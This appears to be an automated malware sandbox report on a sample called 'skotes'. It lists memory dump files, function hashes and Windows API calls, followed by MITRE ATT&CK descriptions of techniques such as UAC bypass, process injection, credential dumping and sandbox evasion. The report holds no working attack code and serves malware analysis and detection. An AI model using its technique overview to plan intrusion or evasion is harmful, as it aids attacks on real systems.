Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[~
API String ID: 3303180142-1161980390
Opcode ID: bd6a898ed952844421274940d061c3f160715c2b6348274d4722f441bb07ff6f
Instruction ID: 7e9c8e0836939d80eb87110518901ecc4192fde22269b3f0f98351b9e7bd3c5f
Opcode Fuzzy Hash: bd6a898ed952844421274940d061c3f160715c2b6348274d4722f441bb07ff6f
Instruction Fuzzy Hash: 5D01B571E06608DFCB10ABF8655935D66E0AB8E314F604A6EF405EB282DE7C4E4087A6

Function 0079CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,007A65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0079CAFC
CreateSemaphoreW.KERNEL32(?,007A65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0079CB1E

Strings

ez, xrefs: 0079CB12, 0079CAF0

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: ez
API String ID: 1078844751-1282118492
Opcode ID: 20c49d00089051a89a3ccd51b30c6f02809dc3bdce593b1b89e6faf961e9b478
Instruction ID: 784037795e90bdac53aa7830dab3fba8baf441c99aa633487b6bd962bc68810d
Opcode Fuzzy Hash: 20c49d00089051a89a3ccd51b30c6f02809dc3bdce593b1b89e6faf961e9b478
Instruction Fuzzy Hash: E3F0D476502169ABCF239F90EC059AE7F66FF08B60B048015FD096A130C7369C61EFE4

Function 007AB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 007AB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007AB961

Strings

pContext, xrefs: 007AB959

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 9d8b7043ff193b1ea94b9217b8ed478c7b3a719fb9a661c68770b4f26c4a86d2
Instruction ID: ffe37c9f8ffe717f80e138daff671d17d3be732d5414694a71df697d73674349
Opcode Fuzzy Hash: 9d8b7043ff193b1ea94b9217b8ed478c7b3a719fb9a661c68770b4f26c4a86d2
Instruction Fuzzy Hash: 17E06879B00208E7CF04F768EC4DD9EBB799EC47107004126E511A3381EB7CAA04CAD0

Function 007A34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007A34FC

Strings

version, xrefs: 007A34E1
pScheduler, xrefs: 007A34F4

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: b8b76dd8c5e27833ee882a564711a00d3b36330d89391f9983688d019b8d9aa4
Instruction ID: a5dcf427e318a4acfd77b487d2af2adcd5f614de08395be0ecdd9f27d92239ae
Opcode Fuzzy Hash: b8b76dd8c5e27833ee882a564711a00d3b36330d89391f9983688d019b8d9aa4
Instruction Fuzzy Hash: 52E02634440208F6CF26FE14D80BADC73749B05704F40C222B801111818BBC8388DA81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

